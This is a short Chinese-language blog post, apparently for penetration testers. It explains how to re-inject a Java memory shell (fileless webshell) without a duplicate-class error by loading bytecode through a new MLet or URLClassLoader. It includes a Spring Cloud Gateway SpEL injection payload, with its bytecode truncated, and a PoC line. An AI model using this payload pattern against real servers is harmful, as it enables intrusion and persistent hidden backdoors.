内存马加载报错重复类名怎么办
在测试中会遇到内存马加载不成功的情况,于是多次打poc
复现问题就会报错类重复加载。
理解这很正常,java
的双亲委派机制就是用于解决类冲突的,类加载器在收到类加载的请求之后,会优先让父类进行加载,保证某一个类在多个类加载器中是同一个。
报错内容如下
loader (instance of sun/misc/Launcher$AppClassLoader): attempted duplicate class definition for name:
为了规避这种情况,通常会将生成内存马加载码进行随机类名。
在分析最新的springcloud spel 注入时,看到师傅提供的内存马可多次运行同类名字节码,
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
一探究竟。
defineClass 与平时不同的是 使用了 Mlet 类加载器
new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())
平时在加载类时通常会使用当前线程的类加载器,也就是 (java.lang.Thread).currentThread().getContextClassLoader()
区别在于每次定义加载类 会 new 一个 classloader 对象,进行加载
查阅一番发现。
jsp 热部署就是这样实现的,每次有 jsp 文件更新,那么会重新编译和加载,新的 jsp class 文件就是用 JsperLodaer 进行加载的。
所以在使用 defineClass 加载重复类时,new 一个新的 Classloader 实例就行了
提供测试 poc
ReflectUtils.defineClass("EvilByteCodes", Base64Utils.decodeFromString(evilString),new URLClassLoader(new java.net.URL[0]))
参考链接:
- Spring cloud gateway通过SPEL注入内存马 https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg
- JSP 热部署 源码解析 https://www.jianshu.com/p/01805c2a1036